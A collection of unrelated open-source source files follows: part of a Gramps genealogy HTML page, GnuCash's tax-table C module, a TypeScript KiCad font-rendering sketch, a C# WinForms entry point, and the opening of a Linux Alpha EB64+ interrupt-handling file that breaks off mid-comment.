href="../../../ppl/o/g/YJUKQCECH2EL71XWGO.html"> Reed, Michael </a> </div> <div class="shadow" style="top: 124px; left: 200px;"></div> <div class="bvline" style="top: 151px; left: 180px; width: 15px;"></div> <div class="gvline" style="top: 156px; left: 185px; width: 20px;"></div> <div class="bhline" style="top: 151px; left: 180px; height: 150px;"></div> <div class="gvline" style="top: 156px; left: 185px; height: 150px;"></div> <div class="bvline" style="top: 151px; left: 355px; width: 15px"></div> <div class="gvline" style="top: 156px; left: 355px; width: 20px"></div> <div class="boxbg male AncCol2" style="top: 44px; left: 386px;"> <a class="noThumb" href="../../../ppl/4/u/SHUKQC1BINXF9KKFU4.html"> Reed, Edward </a> </div> <div class="shadow" style="top: 49px; left: 390px;"></div> <div class="bvline" style="top: 76px; left: 370px; width: 15px;"></div> <div class="gvline" style="top: 81px; left: 375px; width: 20px;"></div> <div class="bhline" style="top: 76px; left: 370px; height: 75px;"></div> <div class="gvline" style="top: 81px; left: 375px; height: 75px;"></div> <div class="boxbg female AncCol1" style="top: 419px; left: 196px;"> <a class="noThumb" href="../../../ppl/r/7/JKUKQCUN65GP5LOM7R.html"> Goodwin, Alice </a> </div> <div class="shadow" style="top: 424px; left: 200px;"></div> <div class="bvline" style="top: 451px; left: 180px; width: 15px;"></div> <div class="gvline" style="top: 456px; left: 185px; width: 20px;"></div> <div class="bhline" style="top: 301px; left: 180px; height: 150px;"></div> <div class="gvline" style="top: 306px; left: 185px; height: 150px;"></div> </div> </div> <div class="subsection" id="sourcerefs"> <h4>Source References</h4> <ol> <li> <a href="../../../src/x/a/X5TJQC9JXU4RKT6VAX.html" title="Import from test2.ged" name ="sref1"> Import from test2.ged <span class="grampsid"> [S0003]</span> </a> </li> </ol> </div> </div> <div class="fullclear"></div> <div id="footer"> <p id="createdate"> Generated by <a href="http://gramps-project.org/">Gramps</a> 4.2.2 on 2015-12-25<br />Last change was the 2007-07-26 08:34:25 </p> <p id="copyright"> </p> </div> </body> </html>
belissent/testing-example-reports
gramps42/gramps/example_NAVWEB0/ppl/3/a/ELUKQCWYK0JVU3FLA3.html
HTML
gpl-2.0
8,302
/********************************************************************\ * gncTaxTable.c -- the Gnucash Tax Table interface * * * * This program is free software; you can redistribute it and/or * * modify it under the terms of the GNU General Public License as * * published by the Free Software Foundation; either version 2 of * * the License, or (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License* * along with this program; if not, contact: * * * * Free Software Foundation Voice: +1-617-542-5942 * * 51 Franklin Street, Fifth Floor Fax: +1-617-542-2652 * * Boston, MA 02110-1301, USA gnu@gnu.org * * * \********************************************************************/ /* * Copyright (C) 2002 Derek Atkins * Copyright (C) 2003 Linas Vepstas <linas@linas.org> * Author: Derek Atkins <warlord@MIT.EDU> */ #include "config.h" #include <glib.h> #include "gncTaxTableP.h" struct _gncTaxTable { QofInstance inst; char * name; GncTaxTableEntryList* entries; Timespec modtime; /* internal date of last modtime */ /* See src/doc/business.txt for an explanation of the following */ /* Code that handles this is *identical* to that in gncBillTerm */ gint64 refcount; GncTaxTable * parent; /* if non-null, we are an immutable child */ GncTaxTable * child; /* if non-null, we have not changed */ gboolean invisible; GList * children; /* list of children for disconnection */ }; struct _gncTaxTableClass { QofInstanceClass parent_class; }; struct _gncTaxTableEntry { GncTaxTable * table; Account * account; GncAmountType type; gnc_numeric amount; }; struct _book_info { GList * tables; /* visible tables */ }; static QofLogModule log_module = GNC_MOD_BUSINESS; /* =============================================================== */ /* You must edit the functions in this block in tandem. KEEP THEM IN SYNC! */ #define GNC_RETURN_ENUM_AS_STRING(x,s) case (x): return (s); const char * gncAmountTypeToString (GncAmountType type) { switch (type) { GNC_RETURN_ENUM_AS_STRING(GNC_AMT_TYPE_VALUE, "VALUE"); GNC_RETURN_ENUM_AS_STRING(GNC_AMT_TYPE_PERCENT, "PERCENT"); default: g_warning ("asked to translate unknown amount type %d.\n", type); break; } return(NULL); } const char * gncTaxIncludedTypeToString (GncTaxIncluded type) { switch (type) { GNC_RETURN_ENUM_AS_STRING(GNC_TAXINCLUDED_YES, "YES"); GNC_RETURN_ENUM_AS_STRING(GNC_TAXINCLUDED_NO, "NO"); GNC_RETURN_ENUM_AS_STRING(GNC_TAXINCLUDED_USEGLOBAL, "USEGLOBAL"); default: g_warning ("asked to translate unknown taxincluded type %d.\n", type); break; } return(NULL); } #undef GNC_RETURN_ENUM_AS_STRING #define GNC_RETURN_ON_MATCH(s,x) \ if(g_strcmp0((s), (str)) == 0) { *type = x; return(TRUE); } gboolean gncAmountStringToType (const char *str, GncAmountType *type) { GNC_RETURN_ON_MATCH ("VALUE", GNC_AMT_TYPE_VALUE); GNC_RETURN_ON_MATCH ("PERCENT", GNC_AMT_TYPE_PERCENT); g_warning ("asked to translate unknown amount type string %s.\n", str ? str : "(null)"); return(FALSE); } gboolean gncTaxIncludedStringToType (const char *str, GncTaxIncluded *type) { GNC_RETURN_ON_MATCH ("YES", GNC_TAXINCLUDED_YES); GNC_RETURN_ON_MATCH ("NO", GNC_TAXINCLUDED_NO); GNC_RETURN_ON_MATCH ("USEGLOBAL", GNC_TAXINCLUDED_USEGLOBAL); g_warning ("asked to translate unknown taxincluded type string %s.\n", str ? str : "(null)"); return(FALSE); } #undef GNC_RETURN_ON_MATCH /* =============================================================== */ /* Misc inline functions */ #define _GNC_MOD_NAME GNC_ID_TAXTABLE #define SET_STR(obj, member, str) { \ char * tmp; \ \ if (!g_strcmp0 (member, str)) return; \ gncTaxTableBeginEdit (obj); \ tmp = CACHE_INSERT (str); \ CACHE_REMOVE (member); \ member = tmp; \ } static inline void mark_table (GncTaxTable *table) { qof_instance_set_dirty(&table->inst); qof_event_gen (&table->inst, QOF_EVENT_MODIFY, NULL); } static inline void maybe_resort_list (GncTaxTable *table) { struct _book_info *bi; if (table->parent || table->invisible) return; bi = qof_book_get_data (qof_instance_get_book(table), _GNC_MOD_NAME); bi->tables = g_list_sort (bi->tables, (GCompareFunc)gncTaxTableCompare); } static inline void mod_table (GncTaxTable *table) { timespecFromTime64 (&table->modtime, gnc_time (NULL)); } static inline void addObj (GncTaxTable *table) { struct _book_info *bi; bi = qof_book_get_data (qof_instance_get_book(table), _GNC_MOD_NAME); bi->tables = g_list_insert_sorted (bi->tables, table, (GCompareFunc)gncTaxTableCompare); } static inline void remObj (GncTaxTable *table) { struct _book_info *bi; bi = qof_book_get_data (qof_instance_get_book(table), _GNC_MOD_NAME); bi->tables = g_list_remove (bi->tables, table); } static inline void gncTaxTableAddChild (GncTaxTable *table, GncTaxTable *child) { g_return_if_fail(table); g_return_if_fail(child); g_return_if_fail(qof_instance_get_destroying(table) == FALSE); table->children = g_list_prepend(table->children, child); } static inline void gncTaxTableRemoveChild (GncTaxTable *table, const GncTaxTable *child) { g_return_if_fail(table); g_return_if_fail(child); if (qof_instance_get_destroying(table)) return; table->children = g_list_remove(table->children, child); } /* =============================================================== */ enum { PROP_0, PROP_NAME, PROP_INVISIBLE, PROP_REFCOUNT }; /* GObject Initialization */ G_DEFINE_TYPE(GncTaxTable, gnc_taxtable, QOF_TYPE_INSTANCE); static void gnc_taxtable_init(GncTaxTable* tt) { } static void gnc_taxtable_dispose(GObject *ttp) { G_OBJECT_CLASS(gnc_taxtable_parent_class)->dispose(ttp); } static void gnc_taxtable_finalize(GObject* ttp) { G_OBJECT_CLASS(gnc_taxtable_parent_class)->dispose(ttp); } static void gnc_taxtable_get_property (GObject *object, guint prop_id, GValue *value, GParamSpec *pspec) { GncTaxTable *tt; g_return_if_fail(GNC_IS_TAXTABLE(object)); tt = GNC_TAXTABLE(object); switch (prop_id) { case PROP_NAME: g_value_set_string(value, tt->name); break; case PROP_INVISIBLE: g_value_set_boolean(value, tt->invisible); break; case PROP_REFCOUNT: g_value_set_uint64(value, tt->refcount); break; default: G_OBJECT_WARN_INVALID_PROPERTY_ID(object, prop_id, pspec); break; } } static void gnc_taxtable_set_property (GObject *object, guint prop_id, const GValue *value, GParamSpec *pspec) { GncTaxTable *tt; g_return_if_fail(GNC_IS_TAXTABLE(object)); tt = GNC_TAXTABLE(object); switch (prop_id) { case PROP_NAME: gncTaxTableSetName(tt, g_value_get_string(value)); break; case PROP_INVISIBLE: if (g_value_get_boolean(value)) { gncTaxTableMakeInvisible(tt); } break; case PROP_REFCOUNT: gncTaxTableSetRefcount(tt, g_value_get_uint64(value)); break; default: G_OBJECT_WARN_INVALID_PROPERTY_ID(object, prop_id, pspec); break; } } /** Return displayable name */ static gchar* impl_get_display_name(const QofInstance* inst) { GncTaxTable* tt; g_return_val_if_fail(inst != NULL, FALSE); g_return_val_if_fail(GNC_IS_TAXTABLE(inst), FALSE); tt = GNC_TAXTABLE(inst); return g_strdup_printf("Tax table %s", tt->name); } /** Does this object refer to a specific object */ static gboolean impl_refers_to_object(const QofInstance* inst, const QofInstance* ref) { GncTaxTable* tt; g_return_val_if_fail(inst != NULL, FALSE); g_return_val_if_fail(GNC_IS_TAXTABLE(inst), FALSE); tt = GNC_TAXTABLE(inst); if (GNC_IS_ACCOUNT(ref)) { GList* node; for (node = tt->entries; node != NULL; node = node->next) { GncTaxTableEntry* tte = node->data; if (tte->account == GNC_ACCOUNT(ref)) { return TRUE; } } } return FALSE; } /** Returns a list of my type of object which refers to an object. For example, when called as qof_instance_get_typed_referring_object_list(taxtable, account); it will return the list of taxtables which refer to a specific account. The result should be the same regardless of which taxtable object is used. The list must be freed by the caller but the objects on the list must not. */ static GList* impl_get_typed_referring_object_list(const QofInstance* inst, const QofInstance* ref) { if (!GNC_IS_ACCOUNT(ref)) { return NULL; } return qof_instance_get_referring_object_list_from_collection(qof_instance_get_collection(inst), ref); } static void gnc_taxtable_class_init (GncTaxTableClass *klass) { GObjectClass *gobject_class = G_OBJECT_CLASS (klass); QofInstanceClass* qof_class = QOF_INSTANCE_CLASS(klass); gobject_class->dispose = gnc_taxtable_dispose; gobject_class->finalize = gnc_taxtable_finalize; gobject_class->set_property = gnc_taxtable_set_property; gobject_class->get_property = gnc_taxtable_get_property; qof_class->get_display_name = impl_get_display_name; qof_class->refers_to_object = impl_refers_to_object; qof_class->get_typed_referring_object_list = impl_get_typed_referring_object_list; g_object_class_install_property (gobject_class, PROP_NAME, g_param_spec_string ("name", "TaxTable Name", "The accountName is an arbitrary string " "assigned by the user. It is intended to " "a short, 10 to 30 character long string " "that is displayed by the GUI as the " "tax table mnemonic.", NULL, G_PARAM_READWRITE)); g_object_class_install_property (gobject_class, PROP_INVISIBLE, g_param_spec_boolean ("invisible", "Invisible", "TRUE if the tax table is invisible. FALSE if visible.", FALSE, G_PARAM_READWRITE)); g_object_class_install_property (gobject_class, PROP_REFCOUNT, g_param_spec_uint64("ref-count", "Reference count", "The ref-count property contains number of times this tax table " "is referenced.", 0, /* min */ G_MAXUINT64, /* max */ 0, /* default */ G_PARAM_READWRITE)); } /* Create/Destroy Functions */ GncTaxTable * gncTaxTableCreate (QofBook *book) { GncTaxTable *table; if (!book) return NULL; table = g_object_new (GNC_TYPE_TAXTABLE, NULL); qof_instance_init_data (&table->inst, _GNC_MOD_NAME, book); table->name = CACHE_INSERT (""); addObj (table); qof_event_gen (&table->inst, QOF_EVENT_CREATE, NULL); return table; } void gncTaxTableDestroy (GncTaxTable *table) { if (!table) return; qof_instance_set_destroying(table, TRUE); qof_instance_set_dirty (&table->inst); gncTaxTableCommitEdit (table); } static void gncTaxTableFree (GncTaxTable *table) { GList *list; GncTaxTable *child; if (!table) return; qof_event_gen (&table->inst, QOF_EVENT_DESTROY, NULL); CACHE_REMOVE (table->name); remObj (table); /* destroy the list of entries */ for (list = table->entries; list; list = list->next) gncTaxTableEntryDestroy (list->data); g_list_free (table->entries); if (!qof_instance_get_destroying(table)) PERR("free a taxtable without do_free set!"); /* disconnect from parent */ if (table->parent) gncTaxTableRemoveChild(table->parent, table); /* disconnect from the children */ for (list = table->children; list; list = list->next) { child = list->data; gncTaxTableSetParent(child, NULL); } g_list_free(table->children); /* qof_instance_release (&table->inst); */ g_object_unref (table); } /* =============================================================== */ GncTaxTableEntry * gncTaxTableEntryCreate (void) { GncTaxTableEntry *entry; entry = g_new0 (GncTaxTableEntry, 1); entry->amount = gnc_numeric_zero (); return entry; } void gncTaxTableEntryDestroy (GncTaxTableEntry *entry) { if (!entry) return; g_free (entry); } /* =============================================================== */ /* Set Functions */ void gncTaxTableSetName (GncTaxTable *table, const char *name) { if (!table || !name) return; SET_STR (table, table->name, name); mark_table (table); maybe_resort_list (table); gncTaxTableCommitEdit (table); } void gncTaxTableSetParent (GncTaxTable *table, GncTaxTable *parent) { if (!table) return; gncTaxTableBeginEdit (table); if (table->parent) gncTaxTableRemoveChild(table->parent, table); table->parent = parent; if (parent) gncTaxTableAddChild(parent, table); table->refcount = 0; gncTaxTableMakeInvisible (table); gncTaxTableCommitEdit (table); } void gncTaxTableSetChild (GncTaxTable *table, GncTaxTable *child) { if (!table) return; gncTaxTableBeginEdit (table); table->child = child; gncTaxTableCommitEdit (table); } void gncTaxTableIncRef (GncTaxTable *table) { if (!table) return; if (table->parent || table->invisible) return; /* children dont need refcounts */ gncTaxTableBeginEdit (table); table->refcount++; gncTaxTableCommitEdit (table); } void gncTaxTableDecRef (GncTaxTable *table) { if (!table) return; if (table->parent || table->invisible) return; /* children dont need refcounts */ gncTaxTableBeginEdit (table); table->refcount--; g_return_if_fail (table->refcount >= 0); gncTaxTableCommitEdit (table); } void gncTaxTableSetRefcount (GncTaxTable *table, gint64 refcount) { if (!table) return; table->refcount = refcount; } void gncTaxTableMakeInvisible (GncTaxTable *table) { struct _book_info *bi; if (!table) return; gncTaxTableBeginEdit (table); table->invisible = TRUE; bi = qof_book_get_data (qof_instance_get_book(table), _GNC_MOD_NAME); bi->tables = g_list_remove (bi->tables, table); gncTaxTableCommitEdit (table); } void gncTaxTableEntrySetAccount (GncTaxTableEntry *entry, Account *account) { if (!entry || !account) return; if (entry->account == account) return; entry->account = account; if (entry->table) { mark_table (entry->table); mod_table (entry->table); } } void gncTaxTableEntrySetType (GncTaxTableEntry *entry, GncAmountType type) { if (!entry) return; if (entry->type == type) return; entry->type = type; if (entry->table) { mark_table (entry->table); mod_table (entry->table); } } void gncTaxTableEntrySetAmount (GncTaxTableEntry *entry, gnc_numeric amount) { if (!entry) return; if (gnc_numeric_eq (entry->amount, amount)) return; entry->amount = amount; if (entry->table) { mark_table (entry->table); mod_table (entry->table); } } void gncTaxTableAddEntry (GncTaxTable *table, GncTaxTableEntry *entry) { if (!table || !entry) return; if (entry->table == table) return; /* already mine */ gncTaxTableBeginEdit (table); if (entry->table) gncTaxTableRemoveEntry (entry->table, entry); entry->table = table; table->entries = g_list_insert_sorted (table->entries, entry, (GCompareFunc)gncTaxTableEntryCompare); mark_table (table); mod_table (table); gncTaxTableCommitEdit (table); } void gncTaxTableRemoveEntry (GncTaxTable *table, GncTaxTableEntry *entry) { if (!table || !entry) return; gncTaxTableBeginEdit (table); entry->table = NULL; table->entries = g_list_remove (table->entries, entry); mark_table (table); mod_table (table); gncTaxTableCommitEdit (table); } void gncTaxTableChanged (GncTaxTable *table) { if (!table) return; gncTaxTableBeginEdit (table); table->child = NULL; gncTaxTableCommitEdit (table); } /* =============================================================== */ void gncTaxTableBeginEdit (GncTaxTable *table) { qof_begin_edit(&table->inst); } static void gncTaxTableOnError (QofInstance *inst, QofBackendError errcode) { PERR("TaxTable QofBackend Failure: %d", errcode); gnc_engine_signal_commit_error( errcode ); } static void gncTaxTableOnDone (QofInstance *inst) {} static void table_free (QofInstance *inst) { GncTaxTable *table = (GncTaxTable *) inst; gncTaxTableFree (table); } void gncTaxTableCommitEdit (GncTaxTable *table) { if (!qof_commit_edit (QOF_INSTANCE(table))) return; qof_commit_edit_part2 (&table->inst, gncTaxTableOnError, gncTaxTableOnDone, table_free); } /* =============================================================== */ /* Get Functions */ GncTaxTable *gncTaxTableLookupByName (QofBook *book, const char *name) { GList *list = gncTaxTableGetTables (book); for ( ; list; list = list->next) { GncTaxTable *table = list->data; if (!g_strcmp0 (table->name, name)) return list->data; } return NULL; } GList * gncTaxTableGetTables (QofBook *book) { struct _book_info *bi; if (!book) return NULL; bi = qof_book_get_data (book, _GNC_MOD_NAME); return bi->tables; } const char *gncTaxTableGetName (const GncTaxTable *table) { if (!table) return NULL; return table->name; } static GncTaxTableEntry *gncTaxTableEntryCopy (const GncTaxTableEntry *entry) { GncTaxTableEntry *e; if (!entry) return NULL; e = gncTaxTableEntryCreate (); gncTaxTableEntrySetAccount (e, entry->account); gncTaxTableEntrySetType (e, entry->type); gncTaxTableEntrySetAmount (e, entry->amount); return e; } static GncTaxTable *gncTaxTableCopy (const GncTaxTable *table) { GncTaxTable *t; GList *list; if (!table) return NULL; t = gncTaxTableCreate (qof_instance_get_book(table)); gncTaxTableSetName (t, table->name); for (list = table->entries; list; list = list->next) { GncTaxTableEntry *entry, *e; entry = list->data; e = gncTaxTableEntryCopy (entry); gncTaxTableAddEntry (t, e); } return t; } GncTaxTable *gncTaxTableReturnChild (GncTaxTable *table, gboolean make_new) { GncTaxTable *child = NULL; if (!table) return NULL; if (table->child) return table->child; if (table->parent || table->invisible) return table; if (make_new) { child = gncTaxTableCopy (table); gncTaxTableSetChild (table, child); gncTaxTableSetParent (child, table); } return child; } GncTaxTable *gncTaxTableGetParent (const GncTaxTable *table) { if (!table) return NULL; return table->parent; } GncTaxTableEntryList* gncTaxTableGetEntries (const GncTaxTable *table) { if (!table) return NULL; return table->entries; } gint64 gncTaxTableGetRefcount (const GncTaxTable *table) { if (!table) return 0; return table->refcount; } Timespec gncTaxTableLastModified (const GncTaxTable *table) { Timespec ts = { 0 , 0 }; if (!table) return ts; return table->modtime; } gboolean gncTaxTableGetInvisible (const GncTaxTable *table) { if (!table) return FALSE; return table->invisible; } Account * gncTaxTableEntryGetAccount (const GncTaxTableEntry *entry) { if (!entry) return NULL; return entry->account; } GncAmountType gncTaxTableEntryGetType (const GncTaxTableEntry *entry) { if (!entry) return 0; return entry->type; } gnc_numeric gncTaxTableEntryGetAmount (const GncTaxTableEntry *entry) { if (!entry) return gnc_numeric_zero(); return entry->amount; } /* This is a semi-private function (meaning that it's not declared in * the header) used for SQL Backend testing. */ GncTaxTable* gncTaxTableEntryGetTable( const GncTaxTableEntry* entry ) { if (!entry) return NULL; return entry->table; } int gncTaxTableEntryCompare (const GncTaxTableEntry *a, const GncTaxTableEntry *b) { char *name_a, *name_b; int retval; if (!a && !b) return 0; if (!a) return -1; if (!b) return 1; name_a = gnc_account_get_full_name (a->account); name_b = gnc_account_get_full_name (b->account); retval = g_strcmp0(name_a, name_b); g_free(name_a); g_free(name_b); if (retval) return retval; return gnc_numeric_compare (a->amount, b->amount); } int gncTaxTableCompare (const GncTaxTable *a, const GncTaxTable *b) { if (!a && !b) return 0; if (!a) return -1; if (!b) return 1; return g_strcmp0 (a->name, b->name); } gboolean gncTaxTableEntryEqual(const GncTaxTableEntry *a, const GncTaxTableEntry *b) { if (a == NULL && b == NULL) return TRUE; if (a == NULL || b == NULL) return FALSE; if (!xaccAccountEqual(a->account, b->account, TRUE)) { PWARN("accounts differ"); return FALSE; } if (a->type != b->type) { PWARN("types differ"); return FALSE; } if (!gnc_numeric_equal(a->amount, b->amount)) { PWARN("amounts differ"); return FALSE; } return TRUE; } gboolean gncTaxTableEqual(const GncTaxTable *a, const GncTaxTable *b) { if (a == NULL && b == NULL) return TRUE; if (a == NULL || b == NULL) return FALSE; g_return_val_if_fail(GNC_IS_TAXTABLE(a), FALSE); g_return_val_if_fail(GNC_IS_TAXTABLE(b), FALSE); if (g_strcmp0(a->name, b->name) != 0) { PWARN("Names differ: %s vs %s", a->name, b->name); return FALSE; } if (a->invisible != b->invisible) { PWARN("invisible flags differ"); return FALSE; } if ((a->entries != NULL) != (b->entries != NULL)) { PWARN("only one has entries"); return FALSE; } if (a->entries != NULL && b->entries != NULL) { GncTaxTableEntryList* a_node; GncTaxTableEntryList* b_node; for (a_node = a->entries, b_node = b->entries; a_node != NULL && b_node != NULL; a_node = a_node->next, b_node = b_node->next) { if (!gncTaxTableEntryEqual((GncTaxTableEntry*)a_node->data, (GncTaxTableEntry*)b_node->data)) { PWARN("entries differ"); return FALSE; } } if (a_node != NULL || b_node != NULL) { PWARN("Unequal number of entries"); return FALSE; } } #if 0 /* See src/doc/business.txt for an explanation of the following */ /* Code that handles this is *identical* to that in gncBillTerm */ gint64 refcount; GncTaxTable * parent; /* if non-null, we are an immutable child */ GncTaxTable * child; /* if non-null, we have not changed */ GList * children; /* list of children for disconnection */ #endif return TRUE; } /* * This will add value to the account-value for acc, creating a new * list object if necessary */ GList *gncAccountValueAdd (GList *list, Account *acc, gnc_numeric value) { GList *li; GncAccountValue *res = NULL; g_return_val_if_fail (acc, list); g_return_val_if_fail (gnc_numeric_check (value) == GNC_ERROR_OK, list); /* Try to find the account in the list */ for (li = list; li; li = li->next) { res = li->data; if (res->account == acc) { res->value = gnc_numeric_add (res->value, value, GNC_DENOM_AUTO, GNC_HOW_DENOM_LCD); return list; } } /* Nope, didn't find it. */ res = g_new0 (GncAccountValue, 1); res->account = acc; res->value = value; return g_list_prepend (list, res); } /* Merge l2 into l1. l2 is not touched. */ GList *gncAccountValueAddList (GList *l1, GList *l2) { GList *li; for (li = l2; li; li = li->next ) { GncAccountValue *val = li->data; l1 = gncAccountValueAdd (l1, val->account, val->value); } return l1; } /* return the total for this list */ gnc_numeric gncAccountValueTotal (GList *list) { gnc_numeric total = gnc_numeric_zero (); for ( ; list ; list = list->next) { GncAccountValue *val = list->data; total = gnc_numeric_add (total, val->value, GNC_DENOM_AUTO, GNC_HOW_DENOM_LCD); } return total; } /* Destroy a list of accountvalues */ void gncAccountValueDestroy (GList *list) { GList *node; for ( node = list; node ; node = node->next) g_free (node->data); g_list_free (list); } /* Package-Private functions */ static void _gncTaxTableCreate (QofBook *book) { struct _book_info *bi; if (!book) return; bi = g_new0 (struct _book_info, 1); qof_book_set_data (book, _GNC_MOD_NAME, bi); } static void _gncTaxTableDestroy (QofBook *book) { struct _book_info *bi; if (!book) return; bi = qof_book_get_data (book, _GNC_MOD_NAME); g_list_free (bi->tables); g_free (bi); } static QofObject gncTaxTableDesc = { DI(.interface_version = ) QOF_OBJECT_VERSION, DI(.e_type = ) _GNC_MOD_NAME, DI(.type_label = ) "Tax Table", DI(.create = ) (gpointer)gncTaxTableCreate, DI(.book_begin = ) _gncTaxTableCreate, DI(.book_end = ) _gncTaxTableDestroy, DI(.is_dirty = ) qof_collection_is_dirty, DI(.mark_clean = ) qof_collection_mark_clean, DI(.foreach = ) qof_collection_foreach, DI(.printable = ) NULL, DI(.version_cmp = ) (int (*)(gpointer, gpointer)) qof_instance_version_cmp, }; gboolean gncTaxTableRegister (void) { static QofParam params[] = { { GNC_TT_NAME, QOF_TYPE_STRING, (QofAccessFunc)gncTaxTableGetName, (QofSetterFunc)gncTaxTableSetName }, { GNC_TT_REFCOUNT, QOF_TYPE_INT64, (QofAccessFunc)gncTaxTableGetRefcount, (QofSetterFunc)gncTaxTableSetRefcount }, { QOF_PARAM_BOOK, QOF_ID_BOOK, (QofAccessFunc)qof_instance_get_book, NULL }, { QOF_PARAM_GUID, QOF_TYPE_GUID, (QofAccessFunc)qof_instance_get_guid, NULL }, { NULL }, }; qof_class_register (_GNC_MOD_NAME, (QofSortFunc)gncTaxTableCompare, params); return qof_object_register (&gncTaxTableDesc); } /* need a QOF tax table entry object */ //gncTaxTableEntrySetType_q int32 //gint gncTaxTableEntryGetType_q (GncTaxTableEntry *entry);
dimbeni/Gnucash
src/engine/gncTaxTable.c
C
gpl-2.0
28,177
//#!tsc && NODE_PATH=dist/src node dist/sketch2.js import { Point, Rect, TextHjustify, TextVjustify, Transform, DECIDEG2RAD, TextAngle, } from "./src/kicad_common"; import { StrokeFont } from "./src/kicad_strokefont"; import { Plotter, CanvasPlotter } from "./src/kicad_plotter"; import * as fs from "fs"; { const font = StrokeFont.instance; const width = 2000, height = 2000; const Canvas = require('canvas'); const canvas = Canvas.createCanvas ? Canvas.createCanvas(width, height) : new Canvas(width, height); const ctx = canvas.getContext('2d'); ctx.strokeStyle = "#666666"; ctx.lineWidth = 1; ctx.beginPath(); ctx.moveTo(canvas.width / 2, 0); ctx.lineTo(canvas.width / 2, canvas.height); ctx.stroke(); ctx.beginPath(); ctx.moveTo(0, canvas.height / 2); ctx.lineTo(canvas.width, canvas.height / 2); ctx.stroke(); ctx.lineCap = "round"; ctx.lineJoin = 'round'; // ctx.translate(canvas.width / 2, canvas.height / 2); const plotter = new CanvasPlotter(ctx); const text = 'jeyjmcNV'; const size = 100; const lineWidth = 20; const bold = false; const italic = false; const pos = { x: canvas.width / 2, y: canvas.height / 2 }; const vjustify = TextVjustify.CENTER; { const boundingbox = font.computeStringBoundaryLimits(text, size, lineWidth, italic); ctx.save(); ctx.translate(pos.x, pos.y); ctx.translate(0, size / 2); ctx.fillStyle = "rgba(255, 0, 0, 0.3)"; ctx.fillRect(0, 0, boundingbox.width, -boundingbox.height); ctx.fillStyle = "rgba(0, 0, 255, 0.3)"; ctx.fillRect(0, 0, boundingbox.width, boundingbox.topLimit); ctx.fillRect(0, 0, boundingbox.width, boundingbox.bottomLimit); { const n = text.charCodeAt(0) - ' '.charCodeAt(0); const glyph = font.glyphs[n]; console.log(JSON.stringify(glyph)); ctx.fillStyle = "rgba(0, 255, 0, 0.3)"; ctx.fillRect( glyph.boundingBox.pos1.x * size, glyph.boundingBox.pos1.y * size, glyph.boundingBox.width * size, glyph.boundingBox.height * size ); ctx.restore(); } } font.drawText(plotter, pos, text, size, lineWidth, TextAngle.HORIZ, TextHjustify.LEFT, vjustify, italic, bold); const out = fs.createWriteStream('text.png'), stream = canvas.pngStream(); stream.on('data', function (chunk: any) { out.write(chunk); }); stream.on('end', function(){ console.log('saved png'); }); }
cho45/kicad-utils
sketch2.ts
TypeScript
gpl-2.0
2,334
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using System.Windows.Forms; namespace FunWithVariablesConditionals { static class Program { /// <summary> /// The main entry point for the application. /// </summary> [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form1()); } } }
Meowse/TechnicolorMillinery
Cathy.Blanscet/Homework3/FunWithVariablesConditionals/FunWithVariablesConditionals/Program.cs
C#
gpl-2.0
529
/* * linux/arch/alpha/kernel/sys_eb64p.c * * Copyright (C) 1995 David A Rusling * Copyright (C) 1996 Jay A Estabrook * Copyright (C) 1998, 1999 Richard Henderson * * Code supporting the EB64+ and EB66. */ #include <linux/kernel.h> #include <linux/types.h> #include <linux/mm.h> #include <linux/sched.h> #include <linux/pci.h> #include <linux/init.h> #include <linux/bitops.h> #include <asm/ptrace.h> #include <asm/dma.h> #include <asm/irq.h> #include <asm/mmu_context.h> #include <asm/io.h> #include <asm/pgtable.h> #include <asm/core_apecs.h> #include <asm/core_lca.h> #include <asm/hwrpb.h> #include <asm/tlbflush.h> #include "proto.h" #include "irq_impl.h" #include "pci_impl.h" #include "machvec_impl.h" /* Note mask bit is true for DISABLED irqs. */ static unsigned int cached_irq_mask = -1; static inline void eb64p_update_irq_hw(unsigned int irq, unsigned long mask) { outb(mask >> (irq >= 24 ? 24 : 16), (irq >= 24 ? 0x27 : 0x26)); } static inline void eb64p_enable_irq(struct irq_data *d) { eb64p_update_irq_hw(d->irq, cached_irq_mask &= ~(1 << d->irq)); } static void eb64p_disable_irq(struct irq_data *d) { eb64p_update_irq_hw(d->irq, cached_irq_mask |= 1 << d->irq); } static struct irq_chip eb64p_irq_type = { .name = "EB64P", .irq_unmask = eb64p_enable_irq, .irq_mask = eb64p_disable_irq, .irq_mask_ack = eb64p_disable_irq, }; static void eb64p_device_interrupt(unsigned long vector) { unsigned long pld; unsigned int i; /* Read the interrupt summary registers */ pld = inb(0x26) | (inb(0x27) << 8); /* * Now, for every possible bit set, work through * them and call the appropriate interrupt handler. */ while (pld) { i = ffz(~pld); pld &= pld - 1; /* clear least bit set */ if (i == 5) { isa_device_interrupt(vector); } else { handle_irq(16 + i); } } } static void __init eb64p_init_irq(void) { long i; #if defined(CONFIG_ALPHA_GENERIC) || defined(CONFIG_ALPHA_CABRIOLET) /* * CABRIO SRM may not set variation correctly, so here we test * the high word of the interrupt summary register for the RAZ * bits, and hope that a true EB64+ would read all ones... */ if (inw(0x806) != 0xffff) { extern struct alpha_machine_vector cabriolet_mv; printk("Detected Cabriolet: correcting HWRPB.\n"); hwrpb->sys_variation |= 2L << 10; hwrpb_update_checksum(hwrpb); alpha_mv = cabriolet_mv; alpha_mv.init_irq(); return; } #endif /* GENERIC */ outb(0xff, 0x26); outb(0xff, 0x27); init_i8259a_irqs(); for (i = 16; i < 32; ++i) { irq_set_chip_and_handler(i, &eb64p_irq_type, handle_level_irq); irq_set_status_flags(i, IRQ_LEVEL); } common_init_isa_dma(); setup_irq(16+5, &isa_cascade_irqaction); } /* * PCI Fixup configuration. * * There are two 8 bit external summary registers as follows: * * Summary @ 0x26: * Bit Meaning * 0 Interrupt Line A from slot 0 * 1 Interrupt Line A from slot 1 * 2 Interrupt Line B from slot 0 * 3 Interrupt Line B from slot 1 * 4 Interrupt Line C from slot 0 * 5 Interrupt line from the two ISA PICs * 6 Tulip * 7 NCR SCSI * * Summary @ 0x27 * Bit Meaning * 0 Interrupt Line C from slot 1 * 1 Interrupt Line D from slot 0 * 2 Interrupt Line D from slot 1 * 3 RAZ * 4 RAZ * 5 RAZ * 6 RAZ * 7 